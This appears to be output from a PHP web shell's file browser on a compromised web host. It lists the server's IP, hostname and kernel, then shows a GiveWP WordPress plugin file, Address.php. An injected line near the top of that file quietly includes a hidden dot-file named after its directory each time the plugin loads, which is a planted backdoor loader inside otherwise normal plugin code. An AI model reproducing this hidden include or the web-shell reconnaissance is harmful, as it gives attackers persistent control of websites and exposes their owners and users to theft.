uawdijnntqw1x1x1
IP : 3.144.105.204
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
perl5
/
..
/
.
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
src
/
ValueObjects
/
Address.php
/
/
<?php namespace Give\ValueObjects; use InvalidArgumentException; /** * Class Address. */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class Address implements ValueObjects { /** * @var string */ public $line1; /** * @var string */ public $line2; /** * @var string */ public $city; /** * @var string */ public $state; /** * @var string */ public $postalCode; /** * @var string */ public $country; /** * Take array and return object. * * @param array $array * * @return Address * @since 2.7.0 */ public static function fromArray( $array ) { $expectedKeys = [ 'line1', 'line2', 'city', 'state', 'postalCode', 'country' ]; $array = array_intersect_key( $array, array_flip( $expectedKeys ) ); if ( empty( $array ) ) { throw new InvalidArgumentException( 'Invalid Address object, must have the exact following keys: ' . implode( ', ', $expectedKeys ) ); } $address = new self(); foreach ( $array as $key => $value ) { $address->$key = $value; } return $address; } }
/home/batcwwjx/perl5/.././old/public_html/wp-content/./plugins/give/src/ValueObjects/Address.php